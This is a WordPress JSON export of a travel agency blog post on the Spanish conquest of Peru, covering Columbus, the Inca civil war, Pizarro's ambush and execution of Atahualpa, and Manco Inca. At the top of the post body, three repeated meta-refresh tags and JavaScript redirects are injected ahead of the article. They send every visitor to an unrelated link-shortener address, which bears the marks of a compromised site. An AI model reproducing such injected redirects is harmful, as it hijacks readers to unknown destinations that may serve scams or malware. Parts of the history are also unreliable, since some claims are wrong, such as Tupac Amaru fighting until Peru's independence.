{"id":9118,"date":"2025-08-06T15:07:47","date_gmt":"2025-08-06T20:07:47","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=9118"},"modified":"2025-08-06T15:07:54","modified_gmt":"2025-08-06T20:07:54","slug":"the-spanish-conquest-in-peru","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/the-spanish-conquest-in-peru\/","title":{"rendered":"The Spanish Conquest in Peru"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>The Spanish Conquest in Peru is a gripping tale of adventure and the clash of cultures that changed history. Picture the amazing <strong><a class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-legends-the-origin-of-the-inca-empire\/\">Inca Empire<\/a><\/strong>, with its beautiful cities and rich traditions. <\/p>\n\n\n\n<p>Then, a small group of European explorers led by Spanish conquistador Francisco Pizarro was eager to find gold and precious metals to make their mark.&nbsp;<\/p>\n\n\n\n<p>What happened next was a remarkable tale of bravery, strength, and change. This meeting of two worlds began an important chapter in <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/all-about-peru-updated-information\">Peru&#8217;s<\/a><\/strong> history, creating a unique legacy of old and new that still resonates today. <\/p>\n\n\n\n<p>The Spanish Conquest in Peru was around 1532 A.D. However, the discovery of the new continent led to the conquest of the Americas.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Christopher Columbus and the Discovery of America<\/strong><\/h2>\n\n\n\n<p>Christopher Columbus is a name that inspires curiosity and wonder. His story involves ships, exploration, and the exciting Age of Discovery. <\/p>\n\n\n\n<p>From a young age, he loved the sea and dreamed of finding new paths to the treasures of Asia. At that time, the trade routes to Asia were long and risky. Columbus had an adventurous thought: <\/p>\n\n\n\n<p>What if he could reach Asia by sailing west across the Atlantic Ocean? In 1492, Columbus, with great effort, won the support of the Spanish crown for his exciting journey. <\/p>\n\n\n\n<p>He embarked on a voyage across uncharted waters with three ships: the Ni\u00f1a, the Pinta, and the Santa Mar\u00eda. <\/p>\n\n\n\n<p>After several weeks at sea, on October 12, 1492, Columbus and his crew were thrilled at the sight of land. They believed they had arrived in the Indies or Asia, but were happy to find the stunning Caribbean instead.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"446\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Crist%C3%B3bal-Col%C3%B3n_-%C2%BFH%C3%A9roe-o-_cruel_-colonizador_.jpg?resize=697%2C446&#038;ssl=1\" alt=\"Columbus discovering America with his crew, around 1492\" class=\"wp-image-9120\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Crist%C3%B3bal-Col%C3%B3n_-%C2%BFH%C3%A9roe-o-_cruel_-colonizador_.jpg?w=736&amp;ssl=1 736w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Crist%C3%B3bal-Col%C3%B3n_-%C2%BFH%C3%A9roe-o-_cruel_-colonizador_.jpg?resize=300%2C192&amp;ssl=1 300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Columbus discovered America in 1492.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>This moment was a great start for European exploration in the Americas because it paved the way for discoveries and connections.<\/p>\n\n\n\n<p> Although Columbus did not find a route to Asia, his voyages began a new era of exploration and connection between Europe and the Americas.<\/p>\n\n\n\n<p>His journeys had a significant impact, leading to the exchange of goods, ideas, and cultures that enriched both worlds. However, these changes also brought challenges for the indigenous peoples of the Americas. <\/p>\n\n\n\n<p>Columbus left behind a complex legacy that captures both the positive and negative aspects of this time in history. His travels significantly affected history and the modern world up to the present day.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Incas in Columbus&#8217;s time<\/strong><\/h2>\n\n\n\n<p>We are fortunate to have enough knowledge about the Incas. Historians put considerable effort into compiling testimonials, myths, and daily life. <\/p>\n\n\n\n<p>Chroniclers and archaeologists have increased our knowledge of the Inca Empire before European settlers arrived in the Americas.<\/p>\n\n\n\n<p>A few of the legends correspond to the period when Columbus first arrived in America. The Incas were not in contact with the earliest Spanish settlers, as is commonly known, and preserved their culture up until Francisco Pizarro&#8217;s conquistadors arrived. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/d2f8fcf0-6d96-4e2c-aec0-5e81484f9e82.png?resize=697%2C465&#038;ssl=1\" alt=\"Inca farmers making the soil in ancient Peru\" class=\"wp-image-15523\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/d2f8fcf0-6d96-4e2c-aec0-5e81484f9e82.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/d2f8fcf0-6d96-4e2c-aec0-5e81484f9e82.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/d2f8fcf0-6d96-4e2c-aec0-5e81484f9e82.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/d2f8fcf0-6d96-4e2c-aec0-5e81484f9e82.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/d2f8fcf0-6d96-4e2c-aec0-5e81484f9e82.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/11\/d2f8fcf0-6d96-4e2c-aec0-5e81484f9e82.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-garcilaso-de-la-vega-a-tale-of-two-worlds\/\" title=\"\">Inca Garcilaso de la Vega<\/a><\/strong>, a famous Peruvian &#8220;mestizo&#8221; writer, said Huayna C\u00e1pac ruled the Inca Empire, or Tahuantinsuyo, at Columbus&#8217; discovery of America. Inca Emperors Hu\u00e1scar and Atahualpa descended from Huayna C\u00e1pac.<\/p>\n\n\n\n<p>Some suggest that the famed T\u00fapac Yupanqui, son of <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-pachacutec-the-leader-who-redefined-his-world\/\" title=\"\">Pachacutec<\/a><\/strong>, led the empire then. Before Pizarro arrived in 1524, the Spanish General Pascual de Andagoya started campaigns to conquer Peru, a task that Francisco Pizarro would finish.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Inca Civil War<\/strong><\/h2>\n\n\n\n<p><strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/atahualpa-the-last-emperor-of-the-incas\/\" title=\"\">Atahualpa<\/a><\/strong> was the last and 13th Inca emperor. Atahualpa spent over 10 years in Quito with his father, Huayna C\u00e1pac, and his mother, the Quito princess Pacha. <\/p>\n\n\n\n<p>When Hu\u00e1scar became the Inca emperor, he felt uneasy about Atahualpa leading most of the army; to address this, he kindly asked Atahualpa to come to Cusco.<\/p>\n\n\n\n<p>He sent thoughtful presents and the embalmed body of Huayna C\u00e1pac instead of going to the ceremony honoring their father.<\/p>\n\n\n\n<p>Hu\u00e1scar felt troubled by Atahualpa&#8217;s absence at this critical time, so in his rage, he injured Atahualpa&#8217;s representatives. These actions drove Atahualpa to react, ultimately leading to a civil war.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"445\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/huascar-vs-Atahualpa.jpg?resize=697%2C445&#038;ssl=1\" alt=\"Atahualpa and Huascar clashing in the last inca civil war\" class=\"wp-image-13343\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/huascar-vs-Atahualpa.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/huascar-vs-Atahualpa.jpg?resize=300%2C192&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/huascar-vs-Atahualpa.jpg?resize=768%2C491&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Atahualpa&#8217;s victory in the war marked what would later be the end of the empire.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Huascar won the first fights and also succeeded in putting Atahualpa in jail. But Atahualpa managed to get away, reassemble his army, and defeat Hu\u00e1scar in the climactic Quipaypampa fight. After they took him prisoner, Hu\u00e1scar saw how they executed his entire family.<\/p>\n\n\n\n<p> After a while, Atahualpa, who was also a captive of the Spanish, gave the order to have his brother Hu\u00e1scar executed. We can say the Spaniards preyed on the rift between these two brothers in the Inca Empire&#8217;s power.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Pizarro and Atahualpa clash<\/strong><\/h2>\n\n\n\n<p>On November 15, 1532, General Francisco Pizarro sought new lands, power, and gold for the sake of his name and his homeland. <\/p>\n\n\n\n<p>With a few Spanish forces, including Diego de Almagro, he landed on the coast of South America, in Peru.&nbsp; Pizarro was determined to defeat the Inca Empire and steal its wealth for Spain. <\/p>\n\n\n\n<p>As we said before, Atahualpa was the Inca emperor after defeating his brother in a ferocious battle. Actually, he was preparing for his triumphal entrance in Cusco, the capital of the empire.<\/p>\n\n\n\n<p>Since Atahualpa did not know the Spanish conquistadors&#8217; intentions, he welcomed them to his country. In Cajamarca, where Pizarro had made camp, he would eventually meet Pizarro and his troops. About 30,000 soldiers from Atahualpa&#8217;s army waited outside Cajamarca for the Spaniards. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"400\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Los-tres-viajes-de-Pizarro-en-la-conquista-del-Per%C3%BA.jpg?resize=600%2C400&#038;ssl=1\" alt=\"Inca Empire conquistador, Francisco Pizarro\" class=\"wp-image-9122\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Los-tres-viajes-de-Pizarro-en-la-conquista-del-Per%C3%BA.jpg?w=600&amp;ssl=1 600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Los-tres-viajes-de-Pizarro-en-la-conquista-del-Per%C3%BA.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Los-tres-viajes-de-Pizarro-en-la-conquista-del-Per%C3%BA.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><figcaption class=\"wp-element-caption\"><strong>Francisco Pizarro, the conqueror of the Inca Empire.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Francisco Pizarro, his brother Hernando, and Hernando de Soto sent an expedition to Atahualpa&#8217;s camp. On behalf of Pizarro, they asked to see the Inca, Atahualpa agreed, underestimating the power of the Spaniards, and the meeting was set for November 16th, the next day.<\/p>\n\n\n\n<p>The meeting was on the Cajamarca main square, where the Spaniards saw the Inca emperor coming along with his colorful crew. <\/p>\n\n\n\n<p>What the Incas did not know was that the Spaniards had set an ambush for them, as the priest was the only person who welcomed the Inca emperor.<\/p>\n\n\n\n<p> He was holding a Bible and a cross and tried to talk to the Inca monarch about the importance of knowing God and accepting King Charles V as his king.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Pizarro Treason <\/strong><\/h2>\n\n\n\n<p>Atahualpa asked for the Bible, as he had never seen anything similar to a book before. After flipping through it and thinking it was of no practical use, he threw the Bible to the ground. This action angered the priest, who insulted Atahualpa. <\/p>\n\n\n\n<p>Later, the Spaniards came and took Atahualpa prisoner, dragging him into the city&#8217;s palace. A few months after capturing the Inca monarch, he made Pizarro an offer: fill a room with gold and silver, and he would be freed. Pizarro accepted.&nbsp; <\/p>\n\n\n\n<p>The book <em><strong>&#8220;Oro del Per\u00fa: Del Cuarto del rescate al mito de El Dorado&#8221;<\/strong><\/em> states that the room, measuring 6.00 x 6.00 x 2.30 meters, had a volume of 82 cubic meters, up to his raised middle finger.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/04725cc3-985c-4bce-a547-430fbe89732d.png?resize=697%2C465&#038;ssl=1\" alt=\"Atahualpa Emperor and Francisc Pizarro and his crew, the first encounter\" class=\"wp-image-15999\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/04725cc3-985c-4bce-a547-430fbe89732d.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/04725cc3-985c-4bce-a547-430fbe89732d.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/04725cc3-985c-4bce-a547-430fbe89732d.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/04725cc3-985c-4bce-a547-430fbe89732d.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/04725cc3-985c-4bce-a547-430fbe89732d.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/04725cc3-985c-4bce-a547-430fbe89732d.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>The first contact between the Incas and the<\/strong> <strong>Spanish.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>That&#8217;s a lot of space! Pizarro could consequently anticipate receiving an astounding 164 tons of silver and nearly 82 tons of gold.\u00a0<\/p>\n\n\n\n<p> When Atahualpa began to worry about Pizarro&#8217;s intentions, he had already paid almost half of the amount.<\/p>\n\n\n\n<p>He thought Pizarro might turn on him, so Atahualpa decided to hide the remaining funds to protect himself, and their exact whereabouts are still a mystery. He also stopped making payments since he started to think the room would never be completely full. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The end of the Inca Empire<\/strong><\/h2>\n\n\n\n<p>Cajamarca locals claimed that it was filled during the day, and the Spaniards emptied it at night. Finally, Pizarro betrayed Atahualpa. He was guilty of idolatry and rebellion, and, despite a large ransom, he was sentenced to death.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/this-day-in-history-11-16-1532-pizarro-traps-atahualpa.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-13342\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/this-day-in-history-11-16-1532-pizarro-traps-atahualpa.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/this-day-in-history-11-16-1532-pizarro-traps-atahualpa.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/this-day-in-history-11-16-1532-pizarro-traps-atahualpa.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/this-day-in-history-11-16-1532-pizarro-traps-atahualpa.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/this-day-in-history-11-16-1532-pizarro-traps-atahualpa.jpg?w=1920&amp;ssl=1 1920w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/this-day-in-history-11-16-1532-pizarro-traps-atahualpa.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Incas fill the room with gold and silver.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Atahualpa consented to receive baptism and adopted the Christian name Francisco de Atahualpa to avoid being burn to death at the stake. However, on July 26, 1533, Spaniards killed him by Garrote. When he passed away, the Inca Empire finally fell.<\/p>\n\n\n\n<p>Years later, the Spanish crown founded the viceroyalty of Peru, a political and administrative colony. After that, the Spaniards put<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/manco-incas-rebellion-and-the-battle-in-cusco\/\" title=\"\"> <strong>Manco Inca<\/strong><\/a><strong> <\/strong>Yupanqui, also known as Manco Inca, as a \u201cpuppet ruler.&#8221;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Much more than just a story <\/strong><\/h2>\n\n\n\n<p>Although at first, Manco Inca thought the Spaniards were &#8220;saviors,&#8221; he realized the cruelty and mercilessness they showed. <\/p>\n\n\n\n<p>So, eventually, he rebelled against the Spaniards. Later, his son, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/tupac-amaru-the-andean-rebel-who-challenged-the-empire\/\" title=\"\"><strong>Tupac Amaru<\/strong>,<\/a> continued the fight until Peru&#8217;s independence.\u00a0<\/p>\n\n\n\n<p>This history shows the need for a fairer, more inclusive future. Yet, our traditions, beliefs, food, and architecture still reflect a mix of Spanish and Andean cultures. This makes our country diverse and unique.&nbsp;<\/p>\n\n\n\n<p>Viagens Machu Picchu will be more than glad if you<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\" class=\"aioseop-link\"> travel with us<\/a><\/strong> to our beloved country. Our more than 100,000 visitors can confirm that we are a reputable travel agency. Peru and all its history are waiting for you!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Spanish Conquest of Peru, led by Francisco Pizarro, was a pivotal clash of cultures. The conquest began in 1532, marked by the capture of Atahualpa, the last Inca emperor. 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